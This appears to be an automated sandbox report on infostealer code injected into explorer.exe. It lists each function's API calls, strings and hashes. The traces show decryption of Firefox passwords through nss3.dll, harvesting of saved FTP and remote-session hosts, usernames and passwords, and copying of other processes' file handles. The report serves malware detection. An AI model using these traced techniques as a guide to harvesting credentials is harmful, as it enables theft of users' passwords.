VirtualFree.KERNELBASE(00000000,00000000,00008000,030F4A5B,?,?,00000000,?,?,?,?,030F4B66,?), ref: 030F1065

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 2594c0034cceab777ad57bce2fb5fc953bd6999e51905933fc941711c817a83d
Instruction ID: a0366d577e0dde0b11c812994876aa401e061b887fd8c9b0d8b657224b856982
Opcode Fuzzy Hash: 2594c0034cceab777ad57bce2fb5fc953bd6999e51905933fc941711c817a83d
Instruction Fuzzy Hash: C8A0027469070066EEB867205D0AF0526146785F05F2045547281A90C54AA5E0848A28

Non-executed Functions

Function 030F349B Relevance: 35.2, APIs: 19, Strings: 1, Instructions: 201nativefilestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000000,00000000,00000003,00000000,00000000,00000000,00000000,?,00000000), ref: 030F34C0

Part of subcall function 030F33C3: NtQueryInformationFile.NTDLL(00000000,00002000,00000000,00002000,0000002F), ref: 030F3401

OpenProcess.KERNEL32(00000440,00000000,00000000,?,00000000,?,?,?,?,?,?,?,?,?,030F37A8), ref: 030F34E9

Part of subcall function 030F1000: GetProcessHeap.KERNEL32(00000008,?,030F11C7,?,?,00000001,00000000,?), ref: 030F1003
Part of subcall function 030F1000: RtlAllocateHeap.NTDLL(00000000), ref: 030F100A

NtQueryInformationProcess.NTDLL(00000000,00000033,00000000,?,?), ref: 030F351E
NtQueryInformationProcess.NTDLL(00000000,00000033,00000000,?,?), ref: 030F3541
GetCurrentProcess.KERNEL32(?,00000000,00000000,00000002), ref: 030F3586
DuplicateHandle.KERNEL32(00000000,00000000,00000000), ref: 030F358F
lstrcmpiW.KERNEL32(00000000,File), ref: 030F35B6
NtQueryObject.NTDLL(?,00000001,00000000,00001000,00000000), ref: 030F35DE
StrRChrW.SHLWAPI(?,00000000,0000005C), ref: 030F35F6
StrRChrW.SHLWAPI(?,00000000,0000005C), ref: 030F3606
lstrcmpiW.KERNEL32(00000000,00000000), ref: 030F361E
GetFileSize.KERNEL32(?,00000000), ref: 030F3631
SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 030F3658
SetFilePointer.KERNEL32(?,00000000,00000000,00000000), ref: 030F366B
ReadFile.KERNEL32(?,?,00000000,?,00000000), ref: 030F3681
SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 030F36AD
CloseHandle.KERNEL32(?), ref: 030F36C0
CloseHandle.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,030F37A8), ref: 030F36F5

Part of subcall function 030F1C9F: CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000000,00000000), ref: 030F1CC0
Part of subcall function 030F1C9F: WriteFile.KERNEL32(00000000,?,?,?,00000000,?,40000000,00000002,00000000,00000002,00000000,00000000), ref: 030F1CDA
Part of subcall function 030F1C9F: CloseHandle.KERNEL32(00000000,?,?,?,00000000,?,40000000,00000002,00000000,00000002,00000000,00000000), ref: 030F1CE6

CloseHandle.KERNEL32(?,?,00000000,?,?,?,?,?,?,?,?,?,030F37A8), ref: 030F3707

Strings

File, xrefs: 030F35B0

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: File$HandleProcess$CloseQuery$InformationPointer$CreateHeaplstrcmpi$AllocateCurrentDuplicateObjectOpenReadSizeWrite
String ID: File
API String ID: 3915112439-749574446
Opcode ID: d7b7f7956c5956fc5b18b17c005cf22a9990286dc53e67cb572e89c9ad7c559f
Instruction ID: 12668f6b39ffe2d5b4e0acb46df2ae2ab42eca6cc3e1ab13fb898c6b9a553ac7
Opcode Fuzzy Hash: d7b7f7956c5956fc5b18b17c005cf22a9990286dc53e67cb572e89c9ad7c559f
Instruction Fuzzy Hash: B361B078205300AFD764EF21CC44F2BBBE9EB89B65F040868FA86D6290D775D8848F65

Function 03144438 Relevance: 19.9, APIs: 3, Strings: 10, Instructions: 359COMMON

Download Yara Rule

APIs

memcmp.NTDLL(localhost,00000007,00000009,00000002,?,00000000,000001D8,?,00000000), ref: 03144502
memcmp.NTDLL(00000000,?,?,00000002,?,00000000,000001D8,?,00000000), ref: 0314475F
memcpy.NTDLL(00000000,00000000,00000000,00000002,?,00000000,000001D8,?,00000000), ref: 03144803

Strings

access, xrefs: 03144725
mode, xrefs: 03144712
cache, xrefs: 031446FA
invalid uri authority: %.*s, xrefs: 03144513
file, xrefs: 03144474
no such vfs: %s, xrefs: 0314482F
%s mode not allowed: %s, xrefs: 031447D0
no such %s mode: %s, xrefs: 03144784
cach, xrefs: 031446DC
localhost, xrefs: 031444FD

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: memcmp$memcpy
String ID: %s mode not allowed: %s$access$cach$cache$file$invalid uri authority: %.*s$localhost$mode$no such %s mode: %s$no such vfs: %s
API String ID: 231171946-1096842476
Opcode ID: 6aa308ea5be54295dcb4b39f5d446956edf17345a4e14d50f37fa9b7a233b67f
Instruction ID: a60a74e704c2ec371e4099500d928ad21b5f4d5ebbd6dd325664ac9cb09a282f
Opcode Fuzzy Hash: 6aa308ea5be54295dcb4b39f5d446956edf17345a4e14d50f37fa9b7a233b67f
Instruction Fuzzy Hash: CFC10374A093869FDB34CF1A849077AB7E5AF8D214F0C096EE8D58B251DF34D4468B86

Function 03115F08 Relevance: 12.3, APIs: 1, Strings: 7, Instructions: 328COMMON

Download Yara Rule

APIs

Part of subcall function 030F6AAA: memset.NTDLL ref: 030F6AC5

memset.NTDLL ref: 03115F53

Strings

cannot open virtual table: %s, xrefs: 03115FAA
indexed, xrefs: 031160E8
cannot open table without rowid: %s, xrefs: 03115FCF
foreign key, xrefs: 031160A3
cannot open %s column for writing, xrefs: 03116255
cannot open view: %s, xrefs: 03115FF3
no such column: "%s", xrefs: 03116271

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: memset
String ID: cannot open %s column for writing$cannot open table without rowid: %s$cannot open view: %s$cannot open virtual table: %s$foreign key$indexed$no such column: "%s"
API String ID: 2221118986-594550510
Opcode ID: 899fa9813df9fe39e893fce9e724fa4951e9125e6ce6fa44c187f09fc3567df8
Instruction ID: d31b1125a36c93ab1232674881d14b691fa10efa0b232418616014ef720dd67a
Opcode Fuzzy Hash: 899fa9813df9fe39e893fce9e724fa4951e9125e6ce6fa44c187f09fc3567df8
Instruction Fuzzy Hash: E8C18D746047019FCB14DF24C480AAEF7E6BFCC700F18896DE8559B241E776D966CB92

Function 030F4440 Relevance: 38.8, APIs: 12, Strings: 10, Instructions: 289stringcommemoryCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(031462B0,00000000,00000001,031462A0,?), ref: 030F445F
SysAllocString.OLEAUT32(?), ref: 030F44AA
lstrcmpiW.KERNEL32(RecentServers,?), ref: 030F456E
lstrcmpiW.KERNEL32(Servers,?), ref: 030F457D
lstrcmpiW.KERNEL32(Settings,?), ref: 030F458C

Part of subcall function 030F11E1: lstrlenW.KERNEL32(?,74DEF360,00000000,?,00000000,?,030F46E3), ref: 030F11ED
Part of subcall function 030F11E1: CryptStringToBinaryW.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 030F120F
Part of subcall function 030F11E1: CryptStringToBinaryW.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 030F1231

lstrcmpiW.KERNEL32(Server,?), ref: 030F45BE
lstrcmpiW.KERNEL32(LastServer,?), ref: 030F45CD
lstrcmpiW.KERNEL32(Host,?), ref: 030F4657
lstrcmpiW.KERNEL32(Port,?), ref: 030F4679
lstrcmpiW.KERNEL32(User,?), ref: 030F469F
lstrcmpiW.KERNEL32(Pass,?), ref: 030F46C5
wsprintfW.USER32 ref: 030F471E

Strings

RecentServers, xrefs: 030F4569
Pass, xrefs: 030F46C0
Settings, xrefs: 030F4587
Port, xrefs: 030F4674
Server, xrefs: 030F45B9
LastServer, xrefs: 030F45C8
User, xrefs: 030F469A
%s:%s, xrefs: 030F4718
Servers, xrefs: 030F4578
Host, xrefs: 030F4652

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: lstrcmpi$String$BinaryCrypt$AllocCreateInstancelstrlenwsprintf
String ID: %s:%s$Host$LastServer$Pass$Port$RecentServers$Server$Servers$Settings$User
API String ID: 2230072276-1234691226
Opcode ID: 318f3ec00d0f6c34fae1910a7ce66c644c489c72b34aa01f7bbe6cf5733c482f
Instruction ID: 08016da35d17b215477b050bafc7e8b8e40b28dbd60be49ea85a4cfd48098e12
Opcode Fuzzy Hash: 318f3ec00d0f6c34fae1910a7ce66c644c489c72b34aa01f7bbe6cf5733c482f
Instruction Fuzzy Hash: 0BB11875204302AFD740DF65C844E6BB7E9EFC9749F04895CFA558B260DB71E806CB62

Function 030F24B0 Relevance: 35.1, APIs: 11, Strings: 9, Instructions: 143libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 030F1000: GetProcessHeap.KERNEL32(00000008,?,030F11C7,?,?,00000001,00000000,?), ref: 030F1003
Part of subcall function 030F1000: RtlAllocateHeap.NTDLL(00000000), ref: 030F100A

Part of subcall function 030F1090: lstrlenW.KERNEL32(?,?,00000000,030F17E5), ref: 030F1097
Part of subcall function 030F1090: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000001,00000000,00000000), ref: 030F10A8

Part of subcall function 030F19B4: lstrlenW.KERNEL32(00000000,00000000,00000000,030F2CAF,00000000,00000000,?,?,00000000,PathToExe,00000000,00000000), ref: 030F19C4

GetCurrentDirectoryW.KERNEL32(00000104,00000000), ref: 030F2503
SetCurrentDirectoryW.KERNEL32(00000000), ref: 030F250A
LoadLibraryW.KERNEL32(00000000), ref: 030F2563
SetCurrentDirectoryW.KERNEL32(?), ref: 030F2570
GetProcAddress.KERNEL32(00000000,NSS_Init), ref: 030F2591
GetProcAddress.KERNEL32(00000000,NSS_Shutdown), ref: 030F259E
GetProcAddress.KERNEL32(00000000,SECITEM_FreeItem), ref: 030F25AB
GetProcAddress.KERNEL32(00000000,PK11_GetInternalKeySlot), ref: 030F25B8
GetProcAddress.KERNEL32(00000000,PK11_Authenticate), ref: 030F25C5
GetProcAddress.KERNEL32(00000000,PK11SDR_Decrypt), ref: 030F25D2
GetProcAddress.KERNEL32(00000000,PK11_FreeSlot), ref: 030F25DF

Part of subcall function 030F190B: lstrlen.KERNEL32(?,?,?,?,00000000,030F2783), ref: 030F192B
Part of subcall function 030F190B: lstrlen.KERNEL32(00000000,?,?,?,00000000,030F2783), ref: 030F1930
Part of subcall function 030F190B: lstrcat.KERNEL32(00000000,?), ref: 030F1946
Part of subcall function 030F190B: lstrcat.KERNEL32(00000000,00000000), ref: 030F194A

Strings

PK11SDR_Decrypt, xrefs: 030F25C7
PK11_Authenticate, xrefs: 030F25BA
sql:, xrefs: 030F262B
NSS_Init, xrefs: 030F258B
PK11_FreeSlot, xrefs: 030F25D4
PK11_GetInternalKeySlot, xrefs: 030F25AD
NSS_Shutdown, xrefs: 030F2593
SECITEM_FreeItem, xrefs: 030F25A0
nss3.dll, xrefs: 030F2510

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: AddressProc$lstrlen$CurrentDirectory$Heaplstrcat$AllocateByteCharLibraryLoadMultiProcessWide
String ID: NSS_Init$NSS_Shutdown$PK11SDR_Decrypt$PK11_Authenticate$PK11_FreeSlot$PK11_GetInternalKeySlot$SECITEM_FreeItem$nss3.dll$sql:
API String ID: 3366569387-3272982511
Opcode ID: 58ee3e820e58c205d1750ed955bd41ef1e02932b8a9151f7ac5215a230c1adda
Instruction ID: d7762332dc1a418efa0f87761eb38427c8cab62acc5292b109dddf3ae7b35fb6
Opcode Fuzzy Hash: 58ee3e820e58c205d1750ed955bd41ef1e02932b8a9151f7ac5215a230c1adda
Instruction Fuzzy Hash: 4C416839A02311EFCF1CFF75995066E7AE99BCE646708083FDA41D7605DB788C458B60

Function 030F5E5A Relevance: 23.1, APIs: 6, Strings: 7, Instructions: 382COMMON

Download Yara Rule

APIs

Part of subcall function 030F5BF5: memset.NTDLL ref: 030F5C07

_alldiv.NTDLL(?,?,05265C00,00000000), ref: 030F60E1
_allrem.NTDLL(00000000,?,00000007,00000000), ref: 030F60EC
_alldiv.NTDLL(?,?,000003E8,00000000), ref: 030F6113
_alldiv.NTDLL(?,?,05265C00,00000000), ref: 030F618E
_alldiv.NTDLL(?,?,05265C00,00000000), ref: 030F61B5
_allrem.NTDLL(00000000,?,00000007,00000000), ref: 030F61C1

Strings

%04d, xrefs: 030F6016
%.16g, xrefs: 030F6077
%lld, xrefs: 030F6122
%03d, xrefs: 030F61F3
%06.3f, xrefs: 030F6229
W, xrefs: 030F6193
%02d, xrefs: 030F6039, 030F61D3

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: _alldiv$_allrem$memset
String ID: %.16g$%02d$%03d$%04d$%06.3f$%lld$W
API String ID: 2557048445-1989508764
Opcode ID: 1e4918b4fff74224fe84481b75be2956dfabddcb65cf70081fd47eaf55b9b825
Instruction ID: 2a16eb7e12281588f7d576a7eabeaad625f48c6a8f74f11043bd55b9e7a9bb5d
Opcode Fuzzy Hash: 1e4918b4fff74224fe84481b75be2956dfabddcb65cf70081fd47eaf55b9b825
Instruction Fuzzy Hash: 4AB1C2B1909346AFD375DE24CC84B3FBFD4FB86304F1C0989F682AAAC1E726C5148695

Function 0310D2AC Relevance: 19.7, APIs: 1, Strings: 12, Instructions: 169COMMON

Download Yara Rule

APIs

memcmp.NTDLL(0314637A,BINARY,00000007), ref: 0310D324

Strings

vtab:%p, xrefs: 0310D423
,%s%s, xrefs: 0310D34E
(%.20s), xrefs: 0310D38A
NULL, xrefs: 0310D40F
%.16g, xrefs: 0310D3E5
%lld, xrefs: 0310D3CA
%s(%d), xrefs: 0310D3AB
BINARY, xrefs: 0310D31E
k(%d, xrefs: 0310D2EE
,%d, xrefs: 0310D444
(blob), xrefs: 0310D416
program, xrefs: 0310D46A

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: memcmp
String ID: %.16g$%lld$%s(%d)$(%.20s)$(blob)$,%d$,%s%s$BINARY$NULL$k(%d$program$vtab:%p
API String ID: 1475443563-3683840195
Opcode ID: 494993f81b0fab32eb52a30b2a66ce5de7eca0fc7e967854b3eb95e24e5c6ac9
Instruction ID: d17a55bb50dbabebb47aacdadc4dcfddf838b60d163c843d9d09ad114b1001ba
Opcode Fuzzy Hash: 494993f81b0fab32eb52a30b2a66ce5de7eca0fc7e967854b3eb95e24e5c6ac9
Instruction Fuzzy Hash: 6451F471504300AFC724DFA4EC40A6AF7A5AF4D600F094859F9A59F681E3B1E849CB92

Function 030F48B1 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 030F19E5: RegOpenKeyExW.KERNELBASE(?,?,00000000,-00000201,?,?,00000016,?,?,?,?,030F1AE2,PortNumber,00000000,00000000), ref: 030F1A1E
Part of subcall function 030F19E5: RegQueryValueExW.KERNELBASE(?,?,00000000,?,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 030F1A3C
Part of subcall function 030F19E5: RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 030F1A75
Part of subcall function 030F19E5: RegCloseKey.KERNELBASE(?,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,030F1AE2,PortNumber,00000000,00000000), ref: 030F1A98

Part of subcall function 030F482C: lstrlenW.KERNEL32(?), ref: 030F4845
Part of subcall function 030F482C: lstrlenW.KERNEL32(?), ref: 030F488F
Part of subcall function 030F482C: lstrlenW.KERNEL32(?), ref: 030F4897

wsprintfW.USER32 ref: 030F49A7
wsprintfW.USER32 ref: 030F49B9

Strings

%s:%u, xrefs: 030F4971, 030F49B7
UserName, xrefs: 030F48D2
%s:%u/%s, xrefs: 030F4982, 030F49A5
Password, xrefs: 030F48E4
RemoteDirectory, xrefs: 030F48F8
HostName, xrefs: 030F48C4

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: lstrlen$QueryValuewsprintf$CloseOpen
String ID: %s:%u$%s:%u/%s$HostName$Password$RemoteDirectory$UserName
API String ID: 2889301010-4273187114
Opcode ID: c555c74cb7f685d9c5d6b76193dcad7256246b7c36e250f325e03abd2b6e273e
Instruction ID: 5f932d90beeaadcfc8da04c2cfa7dcd1d5a7eac2ad1cecb05dffe67215cdcedf
Opcode Fuzzy Hash: c555c74cb7f685d9c5d6b76193dcad7256246b7c36e250f325e03abd2b6e273e
Instruction Fuzzy Hash: 6C31243870E3049FC714EB66C85082FF6EDEFCA648B09491DBA4587640DBB2DC0187E1

Function 030FF92F Relevance: 12.4, APIs: 4, Strings: 4, Instructions: 350COMMON

Download Yara Rule

APIs

memcpy.NTDLL(?,?,?,?,00000000), ref: 030FFB32
memcpy.NTDLL(?,?,00000000,00000000,000001D8,00000000,?,?,?,?,00000054,00000000,00000030,00000000,000001D8,00000000), ref: 030FFB4D
memcpy.NTDLL(?,?,?,00000000,000001D8,00000000,?,?,?,?,00000054,00000000,00000030,00000000,000001D8,00000000), ref: 030FFB60
memcpy.NTDLL(?,?,?,?,?,?,00000000,000001D8,00000000,?,?,?,?,00000054,00000000,00000030), ref: 030FFB95

Strings

-wal, xrefs: 030FFBA9
nolock, xrefs: 030FFC4E
immutable, xrefs: 030FFC68
-journal, xrefs: 030FFB6B

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: memcpy
String ID: -journal$-wal$immutable$nolock
API String ID: 3510742995-3408036318
Opcode ID: 3325d5f12cae4795ed257d813e595a9be1eefc4c75fe8bc0d343900c32e33bc9
Instruction ID: a2d04279c5326664957aa82f1100c67f9774fbf2186cbd6b29dcabc3a909fa4c
Opcode Fuzzy Hash: 3325d5f12cae4795ed257d813e595a9be1eefc4c75fe8bc0d343900c32e33bc9
Instruction Fuzzy Hash: AED1E6B56093418FC714DF28C880B6ABBE5AF85314F0C466DEE998F791E775D804CB52

Function 030F7820 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 407COMMON

Download Yara Rule

Strings

NaN, xrefs: 030F73F8
%, xrefs: 030F7822
-x0, xrefs: 030F7325

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID:
String ID: %$-x0$NaN
API String ID: 0-62881354
Opcode ID: b6c7e2fe1b33ad7f6cf197b29fe2274f5a1b374ec748cf3a8cc2f422461a929d
Instruction ID: 630b2494556ed739a6cefdbed33539f4c0c1a68d010ac1f839aab41ca20ea718
Opcode Fuzzy Hash: b6c7e2fe1b33ad7f6cf197b29fe2274f5a1b374ec748cf3a8cc2f422461a929d
Instruction Fuzzy Hash: 62D1243060E3828FD765CE28849076EFBE5AFCAA84F18499DEAC187B41D665C945C783

Function 030F78B0 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 441COMMON

Download Yara Rule

Strings

NaN, xrefs: 030F73F8
-x0, xrefs: 030F7325

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID:
String ID: -x0$NaN
API String ID: 0-3447725786
Opcode ID: 229d433f66754a9b50c0a2a17dafbfa01ac088a981050e8fb6b8b8826505152c
Instruction ID: 37876c08e51d60e2b96582c1156c70346f6aa60a82101e448b53269dc2517638
Opcode Fuzzy Hash: 229d433f66754a9b50c0a2a17dafbfa01ac088a981050e8fb6b8b8826505152c
Instruction Fuzzy Hash: 61E14530A0E3828FD765CE28845076FFBE5AFCAA84F1C499DEAC187B41D665C945C783

Function 030F7A5C Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 431COMMON

Download Yara Rule

Strings

NaN, xrefs: 030F73F8
-x0, xrefs: 030F7325

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID:
String ID: -x0$NaN
API String ID: 0-3447725786
Opcode ID: c8415d3900cce079093fa86c097ad559dde052c1703d1ff400bf4255187105cc
Instruction ID: f63f3b587ed9134aef5bf81eb09131f97440c536bca7c2a70bf215c5d95bf718
Opcode Fuzzy Hash: c8415d3900cce079093fa86c097ad559dde052c1703d1ff400bf4255187105cc
Instruction Fuzzy Hash: 74E1243460A3818FD765CE28C49076EFBE5AFCAA84F18489DFAC18BB41D675C845C793

Function 030F7A28 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 426COMMON

Download Yara Rule

Strings

NaN, xrefs: 030F73F8
-x0, xrefs: 030F7325

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID:
String ID: -x0$NaN
API String ID: 0-3447725786
Opcode ID: f613c846f1789d2fa18873e40e208ec8ed294265fa366418b207cf56183660ff
Instruction ID: 682a95d6c049c34c0904566e14b572569da1f4fab467bbfec33a14e543bf2d41
Opcode Fuzzy Hash: f613c846f1789d2fa18873e40e208ec8ed294265fa366418b207cf56183660ff
Instruction Fuzzy Hash: 28E1233060A3828FD765CE28C49076EFBE5AFCAA84F1C499DEAC187B41D675C945C783

Function 030F77F9 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 414COMMON

Download Yara Rule

Strings

NaN, xrefs: 030F73F8
-x0, xrefs: 030F7325

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID:
String ID: -x0$NaN
API String ID: 0-3447725786
Opcode ID: 6568997f88826adab7ee50240011d87122979838190d7f22b7c5e6638a768c02
Instruction ID: f186bc36e6b047fa7f22ff68054d67ffab44344b835255761f5e29a2da6bfedb
Opcode Fuzzy Hash: 6568997f88826adab7ee50240011d87122979838190d7f22b7c5e6638a768c02
Instruction Fuzzy Hash: F6E12330A0E3829FD765CE28C49076EFBE5AFCAA84F18489DFAC187B41D665C945C743

Function 030F70C9 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 403COMMON

Download Yara Rule

APIs

_aulldvrm.NTDLL(00000000,00000002,0000000A,00000000), ref: 030F720E
_aullrem.NTDLL(00000000,?,0000000A,00000000), ref: 030F7226
_aulldvrm.NTDLL(00000000,00000000,?), ref: 030F727B

Strings

NaN, xrefs: 030F73F8
-x0, xrefs: 030F7325

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: _aulldvrm$_aullrem
String ID: -x0$NaN
API String ID: 105165338-3447725786
Opcode ID: 997388096c3d5e26b22532b1c7313c40a05c139f57178c8e6ec21b6b00fb1880
Instruction ID: 7cfc39b14edfa01052e0c9b08a50f598dc807f4aa053b3b330e4293ceec50239
Opcode Fuzzy Hash: 997388096c3d5e26b22532b1c7313c40a05c139f57178c8e6ec21b6b00fb1880
Instruction Fuzzy Hash: 47D1133060E3829FD765CE28849076EFBE5AFCAA84F1C489DFAC187B41D665C945C783

Function 030F898F Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 353COMMON

Download Yara Rule

APIs

_allmul.NTDLL(00000000,?,0000000A,00000000), ref: 030F8AAD
_allmul.NTDLL(?,?,0000000A,00000000), ref: 030F8B66
_allmul.NTDLL(?,00000000,0000000A,00000000), ref: 030F8C9B
_alldvrm.NTDLL(?,00000000,0000000A,00000000), ref: 030F8CAE

Strings

., xrefs: 030F8B17

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: _allmul$_alldvrm
String ID: .
API String ID: 115548886-248832578
Opcode ID: ea8b97e071eaca1eff1f6dfb79445cc1552b78749911abee25210967d709f59f
Instruction ID: c7289e8ca8546011fc4bc8ddaab6059fb28121e8dd628c1a599968a740247048
Opcode Fuzzy Hash: ea8b97e071eaca1eff1f6dfb79445cc1552b78749911abee25210967d709f59f
Instruction Fuzzy Hash: 5BD1D3B290E7858FC714DF5888802AEBBE5FFC5314F088D9EF7D556A80E3B189458786

Function 0311D684 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 79COMMON

Download Yara Rule

APIs

memset.NTDLL ref: 0311D6A0
memset.NTDLL ref: 0311D6B3
memset.NTDLL ref: 0311D6C3

Strings

,, xrefs: 0311D6FC
9, xrefs: 0311D701
7, xrefs: 0311D71B

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: memset
String ID: ,$7$9
API String ID: 2221118986-1653249994
Opcode ID: b1d51447b54f57044a401778e5baa02a08deb2ee8b9c42d589ff759b1829e7d0
Instruction ID: 0c0dfb31cf008328222819491f923f39dc5b6e56d67e60a0b93cd7303ceb4ccb
Opcode Fuzzy Hash: b1d51447b54f57044a401778e5baa02a08deb2ee8b9c42d589ff759b1829e7d0
Instruction Fuzzy Hash: B3318F725083449FD330DF60D480BDFBBE9AF89344F00492EE9899B251EB719548CBA3

Function 030F1BC5 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00000000,00000000,?,030F2E75,PathToExe,00000000,00000000), ref: 030F1BCC
StrStrIW.SHLWAPI(00000000,.exe,?,030F2E75,PathToExe,00000000,00000000), ref: 030F1BF0
StrRChrIW.SHLWAPI(00000000,00000000,0000005C,?,030F2E75,PathToExe,00000000,00000000), ref: 030F1C05
lstrlenW.KERNEL32(00000000,?,030F2E75,PathToExe,00000000,00000000), ref: 030F1C1C

Strings

.exe, xrefs: 030F1BEA

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: lstrlen
String ID: .exe
API String ID: 1659193697-4119554291
Opcode ID: 3343c6690edb6ecf8cea1ec74778abed79c3fc08a82d71be3c01bc5257330794
Instruction ID: 0138723694d269adb70e18cde7e16b11c173e74695a7863d5cbeb3a8e8a0f8fe
Opcode Fuzzy Hash: 3343c6690edb6ecf8cea1ec74778abed79c3fc08a82d71be3c01bc5257330794
Instruction Fuzzy Hash: 6EF0C234312320DFD36CEF34AC45ABF62E5EF4A741718482EE282C7155EB608881C7A9

Function 030F2112 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29timeCOMMON

Download Yara Rule

APIs

Part of subcall function 030F1000: GetProcessHeap.KERNEL32(00000008,?,030F11C7,?,?,00000001,00000000,?), ref: 030F1003
Part of subcall function 030F1000: RtlAllocateHeap.NTDLL(00000000), ref: 030F100A

GetSystemTimeAsFileTime.KERNEL32(?), ref: 030F2127
_alldiv.NTDLL(?,?,00989680,00000000), ref: 030F213A
